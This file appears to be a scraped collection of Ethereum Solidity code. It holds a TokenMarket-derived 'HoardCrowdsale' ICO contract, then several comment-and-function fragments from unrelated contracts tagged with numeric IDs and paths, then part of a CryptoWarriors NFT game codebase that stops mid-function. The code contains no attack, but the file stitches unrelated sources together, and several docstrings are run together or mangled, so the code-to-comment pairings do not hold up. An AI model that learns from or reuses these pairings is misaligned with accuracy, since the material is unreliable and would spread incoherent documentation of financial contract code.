/** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt * ** Code Modified by : TokenMagic ** Change Log: *** Solidity version upgraded from 0.4.8 to 0.4.23 */ pragma solidity ^0.4.23; /* * Ownable Contract * Added by : TokenMagic */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /* * Haltable Contract * Added by : TokenMagic */ contract Haltable is Ownable { bool public halted; modifier stopInEmergency { require(!halted); _; } modifier stopNonOwnersInEmergency { require(!halted && msg.sender == owner); _; } modifier onlyInEmergency { require(halted); _; } // called by the owner on emergency, triggers stopped state function halt() external onlyOwner { halted = true; } // called by the owner on end of emergency, returns to normal state function unhalt() external onlyOwner onlyInEmergency { halted = false; } } /* * SafeMathLib Library * Added by : TokenMagic */ library SafeMathLib { function times(uint a, uint b) public pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /* * Token Contract * Added by : TokenMagic */ contract FractionalERC20 { uint public decimals; function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /* * Crowdsale Contract * Added by : TokenMagic */ contract HoardCrowdsale is Haltable { using SafeMathLib for uint; /* The token we are selling */ FractionalERC20 public token; /* tokens will be transfered from this address */ address public multisigWallet; /* Founders team MultiSig Wallet address */ address public foundersTeamMultisig; /* if the funding goal is not reached, investors may withdraw their funds */ uint public minimumFundingGoal = 3265000000000000000000; // 3265 ETH in Wei /* the UNIX timestamp start date of the crowdsale */ uint public startsAt; /* the UNIX timestamp end date of the crowdsale */ uint public endsAt; /* the number of tokens already sold through this contract*/ uint public tokensSold = 0; /* the number of tokens already sold through this contract for presale*/ uint public presaleTokensSold = 0; /* the number of tokens already sold before presale*/ uint public prePresaleTokensSold = 0; /* Maximum number tokens that presale can assign*/ uint public presaleTokenLimit = 80000000000000000000000000; //80,000,000 token /* Maximum number tokens that crowdsale can assign*/ uint public crowdsaleTokenLimit = 120000000000000000000000000; //120,000,000 token /** Total percent of tokens allocated to the founders team multiSig wallet at the end of the sale */ uint public percentageOfSoldTokensForFounders = 50; // 50% of solded token as bonus to founders team multiSig wallet /* How much bonus tokens we allocated */ uint public tokensForFoundingBoardWallet; /* The party who holds the full token pool and has approve()'ed tokens for this crowdsale */ address public beneficiary; /* How many wei of funding we have raised */ uint public weiRaised = 0; /* Calculate incoming funds from presale contracts and addresses */ uint public presaleWeiRaised = 0; /* How many distinct addresses have invested */ uint public investorCount = 0; /* How much wei we have returned back to the contract after a failed crowdfund. */ uint public loadedRefund = 0; /* How much wei we have given back to investors.*/ uint public weiRefunded = 0; /* Has this crowdsale been finalized */ bool public finalized; /** How much ETH each address has invested to this crowdsale */ mapping (address => uint256) public investedAmountOf; /** How much tokens this crowdsale has credited for each investor address */ mapping (address => uint256) public tokenAmountOf; /** Presale Addresses that are allowed to invest. */ mapping (address => bool) public presaleWhitelist; /** Addresses that are allowed to invest. */ mapping (address => bool) public participantWhitelist; /** This is for manul testing for the interaction from owner wallet. You can set it to any value and inspect this in blockchain explorer to see that crowdsale interaction works. */ uint public ownerTestValue; uint public oneTokenInWei; /** State machine * * - Preparing: All contract initialization calls and variables have not been set yet * - Prefunding: We have not passed start time yet * - Funding: Active crowdsale * - Success: Minimum funding goal reached * - Failure: Minimum funding goal not reached before ending time * - Finalized: The finalized has been called and succesfully executed * - Refunding: Refunds are loaded on the contract for reclaim. */ enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding} // A new investment was made event Invested(address investor, uint weiAmount, uint tokenAmount); // Refund was processed for a contributor event Refund(address investor, uint weiAmount); // Address participation whitelist status changed event Whitelisted(address[] addr, bool status); // Presale Address participation whitelist status changed event PresaleWhitelisted(address addr, bool status); // Crowdsale start time has been changed event StartsAtChanged(uint newStartsAt); // Crowdsale end time has been changed event EndsAtChanged(uint newEndsAt); // Crowdsale token price has been changed event TokenPriceChanged(uint tokenPrice); // Crowdsale multisig address has been changed event MultiSigChanged(address newAddr); // Crowdsale beneficiary address has been changed event BeneficiaryChanged(address newAddr); // Founders Team Wallet Address Changed event FoundersWalletChanged(address newAddr); // Founders Team Token Allocation Percentage Changed event FoundersTokenAllocationChanged(uint newValue); // Pre-Presale Tokens Value Changed event PrePresaleTokensValueChanged(uint newValue); constructor(address _token, uint _oneTokenInWei, address _multisigWallet, uint _start, uint _end, address _beneficiary, address _foundersTeamMultisig) public { require(_multisigWallet != address(0) && _start != 0 && _end != 0 && _start <= _end); owner = msg.sender; token = FractionalERC20(_token); oneTokenInWei = _oneTokenInWei; multisigWallet = _multisigWallet; startsAt = _start; endsAt = _end; beneficiary = _beneficiary; foundersTeamMultisig = _foundersTeamMultisig; } /** * Just send in money and get tokens. * Modified by : TokenMagic */ function() payable public { investInternal(msg.sender,0); } /** * Pre-sale contract call this function and get tokens * Modified by : TokenMagic */ function invest(address addr,uint tokenAmount) public payable { investInternal(addr,tokenAmount); } /** * Make an investment. * * Crowdsale must be running for one to invest. * We must have not pressed the emergency brake. * * @param receiver The Ethereum address who receives the tokens * * @return tokenAmount How mony tokens were bought * * Modified by : TokenMagic */ function investInternal(address receiver, uint tokens) stopInEmergency internal returns(uint tokensBought) { uint weiAmount = msg.value; uint tokenAmount = tokens; if(getState() == State.PreFunding || getState() == State.Funding) { if(presaleWhitelist[msg.sender]){ // Allow presale particaipants presaleWeiRaised = presaleWeiRaised.add(weiAmount); presaleTokensSold = presaleTokensSold.add(tokenAmount); require(presaleTokensSold <= presaleTokenLimit); } else if(participantWhitelist[receiver]){ uint multiplier = 10 ** token.decimals(); tokenAmount = weiAmount.times(multiplier) / oneTokenInWei; // Allow whitelisted participants } else { revert(); } } else { // Unwanted state revert(); } // Dust transaction require(tokenAmount != 0); if(investedAmountOf[receiver] == 0) { // A new investor investorCount++; } // Update investor investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount); // Update totals weiRaised = weiRaised.add(weiAmount); tokensSold = tokensSold.add(tokenAmount); require(tokensSold.sub(presaleTokensSold) <= crowdsaleTokenLimit); // Check that we did not bust the cap require(!isBreakingCap(tokenAmount)); require(token.transferFrom(beneficiary, receiver, tokenAmount)); emit Invested(receiver, weiAmount, tokenAmount); multisigWallet.transfer(weiAmount); return tokenAmount; } /** * Finalize a succcesful crowdsale. * The owner can triggre a call the contract that provides post-crowdsale actions, like releasing the tokens. * Added by : TokenMagic */ function finalize() public inState(State.Success) onlyOwner stopInEmergency { require(!finalized); // Not already finalized // How many % of tokens the founders and others get tokensForFoundingBoardWallet = tokensSold.times(percentageOfSoldTokensForFounders) / 100; tokensForFoundingBoardWallet = tokensForFoundingBoardWallet.add(prePresaleTokensSold); require(token.transferFrom(beneficiary, foundersTeamMultisig, tokensForFoundingBoardWallet)); finalized = true; } /** * Allow owner to change the percentage value of solded tokens to founders team wallet after finalize. Default value is 50. * Added by : TokenMagic */ function setFoundersTokenAllocation(uint _percentageOfSoldTokensForFounders) public onlyOwner{ percentageOfSoldTokensForFounders = _percentageOfSoldTokensForFounders; emit FoundersTokenAllocationChanged(percentageOfSoldTokensForFounders); } /** * Allow crowdsale owner to close early or extend the crowdsale. * * This is useful e.g. for a manual soft cap implementation: * - after X amount is reached determine manual closing * * This may put the crowdsale to an invalid state, * but we trust owners know what they are doing. * */ function setEndsAt(uint time) onlyOwner public { require(now < time && startsAt < time); endsAt = time; emit EndsAtChanged(endsAt); } /** * Allow owner to change crowdsale startsAt data. * Added by : TokenMagic **/ function setStartsAt(uint time) onlyOwner public { require(time < endsAt); startsAt = time; emit StartsAtChanged(startsAt); } /** * Allow to change the team multisig address in the case of emergency. * * This allows to save a deployed crowdsale wallet in the case the crowdsale has not yet begun * (we have done only few test transactions). After the crowdsale is going * then multisig address stays locked for the safety reasons. */ function setMultisig(address addr) public onlyOwner { multisigWallet = addr; emit MultiSigChanged(addr); } /** * Allow load refunds back on the contract for the refunding. * * The team can transfer the funds back on the smart contract in the case the minimum goal was not reached.. */ function loadRefund() public payable inState(State.Failure) { require(msg.value > 0); loadedRefund = loadedRefund.add(msg.value); } /** * Investors can claim refund. * * Note that any refunds from proxy buyers should be handled separately, * and not through this contract. */ function refund() public inState(State.Refunding) { // require(token.transferFrom(msg.sender,address(this),tokenAmountOf[msg.sender])); user should approve their token to this contract before this. uint256 weiValue = investedAmountOf[msg.sender]; require(weiValue > 0); investedAmountOf[msg.sender] = 0; weiRefunded = weiRefunded.add(weiValue); emit Refund(msg.sender, weiValue); msg.sender.transfer(weiValue); } /** * @return true if the crowdsale has raised enough money to be a successful. */ function isMinimumGoalReached() public view returns (bool reached) { return weiRaised >= minimumFundingGoal; } /** * Crowdfund state machine management. * We make it a function and do not assign the result to a variable, so there is no chance of the variable being stale. * Modified by : TokenMagic */ function getState() public view returns (State) { if(finalized) return State.Finalized; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding; else return State.Failure; } /** This is for manual testing of multisig wallet interaction */ function setOwnerTestValue(uint val) onlyOwner public { ownerTestValue = val; } /** * Allow owner to change PrePresaleTokensSold value * Added by : TokenMagic **/ function setPrePresaleTokens(uint _value) onlyOwner public { prePresaleTokensSold = _value; emit PrePresaleTokensValueChanged(_value); } /** * Allow addresses to do participation. * Modified by : TokenMagic */ function setParticipantWhitelist(address[] addr, bool status) onlyOwner public { for(uint i = 0; i < addr.length; i++ ){ participantWhitelist[addr[i]] = status; } emit Whitelisted(addr, status); } /** * Allow presale to do participation. * Added by : TokenMagic */ function setPresaleWhitelist(address addr, bool status) onlyOwner public { presaleWhitelist[addr] = status; emit PresaleWhitelisted(addr, status); } /** * Allow crowdsale owner to change the crowdsale token price. * Added by : TokenMagic */ function setPricing(uint _oneTokenInWei) onlyOwner public{ oneTokenInWei = _oneTokenInWei; emit TokenPriceChanged(oneTokenInWei); } /** * Allow crowdsale owner to change the crowdsale beneficiary address. * Added by : TokenMagic */ function changeBeneficiary(address _beneficiary) onlyOwner public{ beneficiary = _beneficiary; emit BeneficiaryChanged(beneficiary); } /** * Allow crowdsale owner to change the crowdsale founders team address. * Added by : TokenMagic */ function changeFoundersWallet(address _foundersTeamMultisig) onlyOwner public{ foundersTeamMultisig = _foundersTeamMultisig; emit FoundersWalletChanged(foundersTeamMultisig); } /** Interface marker. */ function isCrowdsale() public pure returns (bool) { return true; } // // Modifiers // /** Modified allowing execution only if the crowdsale is currently running. */ modifier inState(State state) { require(getState() == state); _; } /** * Called from invest() to confirm if the curret investment does not break our cap rule. */ function isBreakingCap(uint tokenAmount) public view returns (bool limitBroken) { if(tokenAmount > getTokensLeft()) { return true; } else { return false; } } /** * We are sold out when our approve pool becomes empty. */ function isCrowdsaleFull() public view returns (bool) { return getTokensLeft() == 0; } /** * Get the amount of unsold tokens allocated to this contract; */ function getTokensLeft() public view returns (uint) { return token.allowance(beneficiary, this); } }
Investors can claim refund. Note that any refunds from proxy buyers should be handled separately, and not through this contract./ require(token.transferFrom(msg.sender,address(this),tokenAmountOf[msg.sender])); user should approve their token to this contract before this.
function refund() public inState(State.Refunding) { uint256 weiValue = investedAmountOf[msg.sender]; require(weiValue > 0); investedAmountOf[msg.sender] = 0; weiRefunded = weiRefunded.add(weiValue); emit Refund(msg.sender, weiValue); msg.sender.transfer(weiValue); }
1,815,193
./partial_match/1/0x4e457722B68F8adC887F5De85b8410021Bd698AC/sources/Comptroller.sol
Keeps the flywheel moving pre-borrow and pre-repay cToken The relevant market borrower The borrower/
function flywheelPreBorrowerAction(address cToken, address borrower) internal { for (uint256 i = 0; i < rewardsDistributors.length; i++) RewardsDistributorDelegate(rewardsDistributors[i]).flywheelPreBorrowerAction(cToken, borrower); }
3,907,737
./full_match/1/0x961d3712F5835aBB0B367F83807B2f61e7d819a5/sources/contracts/utils/ManualStrikeSelection.sol
Selected strike price Delta for options strike price selection. 1 is 10000 (104) Sets the strike price, only callable by the owner _strikePrice is the strike price of the option/
function setStrikePrice(uint256 _strikePrice) external onlyOwner { strikePrice = _strikePrice; }
4,930,092
./partial_match/82/0xBb8e6619AcbfF5eF5Cf48F5B725334E4C30C83BE/sources/C/Code/CryptoBlades/cb_deploy/cryptoblades/contracts/CBKLandBridgeProxyContract.sol
for future use, bot will probe the returned value to know if the proxy contract has proper signature behavior
function sigVersion() external view override returns (uint256) { return 3; }
16,895,547
pragma solidity ^0.4.19; contract ERC721 { // Required methods function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) external view returns (address owner); function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; // Events event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds); // function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl); // ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165) function supportsInterface(bytes4 _interfaceID) external view returns (bool); function getBeneficiary() external view returns(address); } contract SanctuaryInterface { /// @dev simply a boolean to indicate this is the contract we expect to be function isSanctuary() public pure returns (bool); /// @dev generate new warrior genes /// @param _heroGenes Genes of warrior that have completed dungeon /// @param _heroLevel Level of the warrior /// @return the genes that are supposed to be passed down to newly arisen warrior function generateWarrior(uint256 _heroGenes, uint256 _heroLevel, uint256 _targetBlock, uint256 _perkId) public returns (uint256); } contract PVPInterface { /// @dev simply a boolean to indicate this is the contract we expect to be function isPVPProvider() external pure returns (bool); function addTournamentContender(address _owner, uint256[] _tournamentData) external payable; function getTournamentThresholdFee() public view returns(uint256); function addPVPContender(address _owner, uint256 _packedWarrior) external payable; function getPVPEntranceFee(uint256 _levelPoints) external view returns(uint256); } contract PVPListenerInterface { /// @dev simply a boolean to indicate this is the contract we expect to be function isPVPListener() public pure returns (bool); function getBeneficiary() external view returns(address); function pvpFinished(uint256[] warriorData, uint256 matchingCount) public; function pvpContenderRemoved(uint256 _warriorId) public; function tournamentFinished(uint256[] packedContenders) public; } contract PermissionControll { // This facet controls access to contract that implements it. There are four roles managed here: // // - The Admin: The Admin can reassign admin and issuer roles and change the addresses of our dependent smart // contracts. It is also the only role that can unpause the smart contract. It is initially // set to the address that created the smart contract in the CryptoWarriorCore constructor. // // - The Bank: The Bank can withdraw funds from CryptoWarriorCore and its auction and battle contracts, and change admin role. // // - The Issuer: The Issuer can release gen0 warriors to auction. // // / @dev Emited when contract is upgraded event ContractUpgrade(address newContract); // Set in case the core contract is broken and an upgrade is required address public newContractAddress; // The addresses of the accounts (or contracts) that can execute actions within each roles. address public adminAddress; address public bankAddress; address public issuerAddress; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; // / @dev Access modifier for Admin-only functionality modifier onlyAdmin(){ require(msg.sender == adminAddress); _; } // / @dev Access modifier for Bank-only functionality modifier onlyBank(){ require(msg.sender == bankAddress); _; } /// @dev Access modifier for Issuer-only functionality modifier onlyIssuer(){ require(msg.sender == issuerAddress); _; } modifier onlyAuthorized(){ require(msg.sender == issuerAddress || msg.sender == adminAddress || msg.sender == bankAddress); _; } // / @dev Assigns a new address to act as the Bank. Only available to the current Bank. // / @param _newBank The address of the new Bank function setBank(address _newBank) external onlyBank { require(_newBank != address(0)); bankAddress = _newBank; } // / @dev Assigns a new address to act as the Admin. Only available to the current Admin. // / @param _newAdmin The address of the new Admin function setAdmin(address _newAdmin) external { require(msg.sender == adminAddress || msg.sender == bankAddress); require(_newAdmin != address(0)); adminAddress = _newAdmin; } // / @dev Assigns a new address to act as the Issuer. Only available to the current Issuer. // / @param _newIssuer The address of the new Issuer function setIssuer(address _newIssuer) external onlyAdmin{ require(_newIssuer != address(0)); issuerAddress = _newIssuer; } /*** Pausable functionality adapted from OpenZeppelin ***/ // / @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused(){ require(!paused); _; } // / @dev Modifier to allow actions only when the contract IS paused modifier whenPaused{ require(paused); _; } // / @dev Called by any "Authorized" role to pause the contract. Used only when // / a bug or exploit is detected and we need to limit damage. function pause() external onlyAuthorized whenNotPaused{ paused = true; } // / @dev Unpauses the smart contract. Can only be called by the Admin. // / @notice This is public rather than external so it can be called by // / derived contracts. function unpause() public onlyAdmin whenPaused{ // can't unpause if contract was upgraded paused = false; } /// @dev Used to mark the smart contract as upgraded, in case there is a serious /// breaking bug. This method does nothing but keep track of the new contract and /// emit a message indicating that the new address is set. It's up to clients of this /// contract to update to the new contract address in that case. (This contract will /// be paused indefinitely if such an upgrade takes place.) /// @param _v2Address new address function setNewAddress(address _v2Address) external onlyAdmin whenPaused { newContractAddress = _v2Address; ContractUpgrade(_v2Address); } } contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner(){ require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner{ if (newOwner != address(0)) { owner = newOwner; } } } contract PausableBattle is Ownable { event PausePVP(bool paused); event PauseTournament(bool paused); bool public pvpPaused = false; bool public tournamentPaused = false; /** PVP */ modifier PVPNotPaused(){ require(!pvpPaused); _; } modifier PVPPaused{ require(pvpPaused); _; } function pausePVP() public onlyOwner PVPNotPaused { pvpPaused = true; PausePVP(true); } function unpausePVP() public onlyOwner PVPPaused { pvpPaused = false; PausePVP(false); } /** Tournament */ modifier TournamentNotPaused(){ require(!tournamentPaused); _; } modifier TournamentPaused{ require(tournamentPaused); _; } function pauseTournament() public onlyOwner TournamentNotPaused { tournamentPaused = true; PauseTournament(true); } function unpauseTournament() public onlyOwner TournamentPaused { tournamentPaused = false; PauseTournament(false); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused(){ require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused{ require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; Unpause(); } } library CryptoUtils { /* CLASSES */ uint256 internal constant WARRIOR = 0; uint256 internal constant ARCHER = 1; uint256 internal constant MAGE = 2; /* RARITIES */ uint256 internal constant COMMON = 1; uint256 internal constant UNCOMMON = 2; uint256 internal constant RARE = 3; uint256 internal constant MYTHIC = 4; uint256 internal constant LEGENDARY = 5; uint256 internal constant UNIQUE = 6; /* LIMITS */ uint256 internal constant CLASS_MECHANICS_MAX = 3; uint256 internal constant RARITY_MAX = 6; /*@dev range used for rarity chance computation */ uint256 internal constant RARITY_CHANCE_RANGE = 10000000; uint256 internal constant POINTS_TO_LEVEL = 10; /* ATTRIBUTE MASKS */ /*@dev range 0-9999 */ uint256 internal constant UNIQUE_MASK_0 = 1; /*@dev range 0-9 */ uint256 internal constant RARITY_MASK_1 = UNIQUE_MASK_0 * 10000; /*@dev range 0-999 */ uint256 internal constant CLASS_VIEW_MASK_2 = RARITY_MASK_1 * 10; /*@dev range 0-999 */ uint256 internal constant BODY_COLOR_MASK_3 = CLASS_VIEW_MASK_2 * 1000; /*@dev range 0-999 */ uint256 internal constant EYES_MASK_4 = BODY_COLOR_MASK_3 * 1000; /*@dev range 0-999 */ uint256 internal constant MOUTH_MASK_5 = EYES_MASK_4 * 1000; /*@dev range 0-999 */ uint256 internal constant HEIR_MASK_6 = MOUTH_MASK_5 * 1000; /*@dev range 0-999 */ uint256 internal constant HEIR_COLOR_MASK_7 = HEIR_MASK_6 * 1000; /*@dev range 0-999 */ uint256 internal constant ARMOR_MASK_8 = HEIR_COLOR_MASK_7 * 1000; /*@dev range 0-999 */ uint256 internal constant WEAPON_MASK_9 = ARMOR_MASK_8 * 1000; /*@dev range 0-999 */ uint256 internal constant HAT_MASK_10 = WEAPON_MASK_9 * 1000; /*@dev range 0-99 */ uint256 internal constant RUNES_MASK_11 = HAT_MASK_10 * 1000; /*@dev range 0-99 */ uint256 internal constant WINGS_MASK_12 = RUNES_MASK_11 * 100; /*@dev range 0-99 */ uint256 internal constant PET_MASK_13 = WINGS_MASK_12 * 100; /*@dev range 0-99 */ uint256 internal constant BORDER_MASK_14 = PET_MASK_13 * 100; /*@dev range 0-99 */ uint256 internal constant BACKGROUND_MASK_15 = BORDER_MASK_14 * 100; /*@dev range 0-99 */ uint256 internal constant INTELLIGENCE_MASK_16 = BACKGROUND_MASK_15 * 100; /*@dev range 0-99 */ uint256 internal constant AGILITY_MASK_17 = INTELLIGENCE_MASK_16 * 100; /*@dev range 0-99 */ uint256 internal constant STRENGTH_MASK_18 = AGILITY_MASK_17 * 100; /*@dev range 0-9 */ uint256 internal constant CLASS_MECH_MASK_19 = STRENGTH_MASK_18 * 100; /*@dev range 0-999 */ uint256 internal constant RARITY_BONUS_MASK_20 = CLASS_MECH_MASK_19 * 10; /*@dev range 0-9 */ uint256 internal constant SPECIALITY_MASK_21 = RARITY_BONUS_MASK_20 * 1000; /*@dev range 0-99 */ uint256 internal constant DAMAGE_MASK_22 = SPECIALITY_MASK_21 * 10; /*@dev range 0-99 */ uint256 internal constant AURA_MASK_23 = DAMAGE_MASK_22 * 100; /*@dev 20 decimals left */ uint256 internal constant BASE_MASK_24 = AURA_MASK_23 * 100; /* SPECIAL PERKS */ uint256 internal constant MINER_PERK = 1; /* PARAM INDEXES */ uint256 internal constant BODY_COLOR_MAX_INDEX_0 = 0; uint256 internal constant EYES_MAX_INDEX_1 = 1; uint256 internal constant MOUTH_MAX_2 = 2; uint256 internal constant HAIR_MAX_3 = 3; uint256 internal constant HEIR_COLOR_MAX_4 = 4; uint256 internal constant ARMOR_MAX_5 = 5; uint256 internal constant WEAPON_MAX_6 = 6; uint256 internal constant HAT_MAX_7 = 7; uint256 internal constant RUNES_MAX_8 = 8; uint256 internal constant WINGS_MAX_9 = 9; uint256 internal constant PET_MAX_10 = 10; uint256 internal constant BORDER_MAX_11 = 11; uint256 internal constant BACKGROUND_MAX_12 = 12; uint256 internal constant UNIQUE_INDEX_13 = 13; uint256 internal constant LEGENDARY_INDEX_14 = 14; uint256 internal constant MYTHIC_INDEX_15 = 15; uint256 internal constant RARE_INDEX_16 = 16; uint256 internal constant UNCOMMON_INDEX_17 = 17; uint256 internal constant UNIQUE_TOTAL_INDEX_18 = 18; /* PACK PVP DATA LOGIC */ //pvp data uint256 internal constant CLASS_PACK_0 = 1; uint256 internal constant RARITY_BONUS_PACK_1 = CLASS_PACK_0 * 10; uint256 internal constant RARITY_PACK_2 = RARITY_BONUS_PACK_1 * 1000; uint256 internal constant EXPERIENCE_PACK_3 = RARITY_PACK_2 * 10; uint256 internal constant INTELLIGENCE_PACK_4 = EXPERIENCE_PACK_3 * 1000; uint256 internal constant AGILITY_PACK_5 = INTELLIGENCE_PACK_4 * 100; uint256 internal constant STRENGTH_PACK_6 = AGILITY_PACK_5 * 100; uint256 internal constant BASE_DAMAGE_PACK_7 = STRENGTH_PACK_6 * 100; uint256 internal constant PET_PACK_8 = BASE_DAMAGE_PACK_7 * 100; uint256 internal constant AURA_PACK_9 = PET_PACK_8 * 100; uint256 internal constant WARRIOR_ID_PACK_10 = AURA_PACK_9 * 100; uint256 internal constant PVP_CYCLE_PACK_11 = WARRIOR_ID_PACK_10 * 10**10; uint256 internal constant RATING_PACK_12 = PVP_CYCLE_PACK_11 * 10**10; uint256 internal constant PVP_BASE_PACK_13 = RATING_PACK_12 * 10**10;//NB rating must be at the END! //tournament data uint256 internal constant HP_PACK_0 = 1; uint256 internal constant DAMAGE_PACK_1 = HP_PACK_0 * 10**12; uint256 internal constant ARMOR_PACK_2 = DAMAGE_PACK_1 * 10**12; uint256 internal constant DODGE_PACK_3 = ARMOR_PACK_2 * 10**12; uint256 internal constant PENETRATION_PACK_4 = DODGE_PACK_3 * 10**12; uint256 internal constant COMBINE_BASE_PACK_5 = PENETRATION_PACK_4 * 10**12; /* MISC CONSTANTS */ uint256 internal constant MAX_ID_SIZE = 10000000000; int256 internal constant PRECISION = 1000000; uint256 internal constant BATTLES_PER_CONTENDER = 10;//10x100 uint256 internal constant BATTLES_PER_CONTENDER_SUM = BATTLES_PER_CONTENDER * 100;//10x100 uint256 internal constant LEVEL_BONUSES = 98898174676155504541373431282523211917151413121110; //ucommon bonuses uint256 internal constant BONUS_NONE = 0; uint256 internal constant BONUS_HP = 1; uint256 internal constant BONUS_ARMOR = 2; uint256 internal constant BONUS_CRIT_CHANCE = 3; uint256 internal constant BONUS_CRIT_MULT = 4; uint256 internal constant BONUS_PENETRATION = 5; //rare bonuses uint256 internal constant BONUS_STR = 6; uint256 internal constant BONUS_AGI = 7; uint256 internal constant BONUS_INT = 8; uint256 internal constant BONUS_DAMAGE = 9; //bonus value database, uint256 internal constant BONUS_DATA = 16060606140107152000; //pets database uint256 internal constant PETS_DATA = 287164235573728325842459981692000; uint256 internal constant PET_AURA = 2; uint256 internal constant PET_PARAM_1 = 1; uint256 internal constant PET_PARAM_2 = 0; /* GETTERS */ function getUniqueValue(uint256 identity) internal pure returns(uint256){ return identity % RARITY_MASK_1; } function getRarityValue(uint256 identity) internal pure returns(uint256){ return (identity % CLASS_VIEW_MASK_2) / RARITY_MASK_1; } function getClassViewValue(uint256 identity) internal pure returns(uint256){ return (identity % BODY_COLOR_MASK_3) / CLASS_VIEW_MASK_2; } function getBodyColorValue(uint256 identity) internal pure returns(uint256){ return (identity % EYES_MASK_4) / BODY_COLOR_MASK_3; } function getEyesValue(uint256 identity) internal pure returns(uint256){ return (identity % MOUTH_MASK_5) / EYES_MASK_4; } function getMouthValue(uint256 identity) internal pure returns(uint256){ return (identity % HEIR_MASK_6) / MOUTH_MASK_5; } function getHairValue(uint256 identity) internal pure returns(uint256){ return (identity % HEIR_COLOR_MASK_7) / HEIR_MASK_6; } function getHairColorValue(uint256 identity) internal pure returns(uint256){ return (identity % ARMOR_MASK_8) / HEIR_COLOR_MASK_7; } function getArmorValue(uint256 identity) internal pure returns(uint256){ return (identity % WEAPON_MASK_9) / ARMOR_MASK_8; } function getWeaponValue(uint256 identity) internal pure returns(uint256){ return (identity % HAT_MASK_10) / WEAPON_MASK_9; } function getHatValue(uint256 identity) internal pure returns(uint256){ return (identity % RUNES_MASK_11) / HAT_MASK_10; } function getRunesValue(uint256 identity) internal pure returns(uint256){ return (identity % WINGS_MASK_12) / RUNES_MASK_11; } function getWingsValue(uint256 identity) internal pure returns(uint256){ return (identity % PET_MASK_13) / WINGS_MASK_12; } function getPetValue(uint256 identity) internal pure returns(uint256){ return (identity % BORDER_MASK_14) / PET_MASK_13; } function getBorderValue(uint256 identity) internal pure returns(uint256){ return (identity % BACKGROUND_MASK_15) / BORDER_MASK_14; } function getBackgroundValue(uint256 identity) internal pure returns(uint256){ return (identity % INTELLIGENCE_MASK_16) / BACKGROUND_MASK_15; } function getIntelligenceValue(uint256 identity) internal pure returns(uint256){ return (identity % AGILITY_MASK_17) / INTELLIGENCE_MASK_16; } function getAgilityValue(uint256 identity) internal pure returns(uint256){ return ((identity % STRENGTH_MASK_18) / AGILITY_MASK_17); } function getStrengthValue(uint256 identity) internal pure returns(uint256){ return ((identity % CLASS_MECH_MASK_19) / STRENGTH_MASK_18); } function getClassMechValue(uint256 identity) internal pure returns(uint256){ return (identity % RARITY_BONUS_MASK_20) / CLASS_MECH_MASK_19; } function getRarityBonusValue(uint256 identity) internal pure returns(uint256){ return (identity % SPECIALITY_MASK_21) / RARITY_BONUS_MASK_20; } function getSpecialityValue(uint256 identity) internal pure returns(uint256){ return (identity % DAMAGE_MASK_22) / SPECIALITY_MASK_21; } function getDamageValue(uint256 identity) internal pure returns(uint256){ return (identity % AURA_MASK_23) / DAMAGE_MASK_22; } function getAuraValue(uint256 identity) internal pure 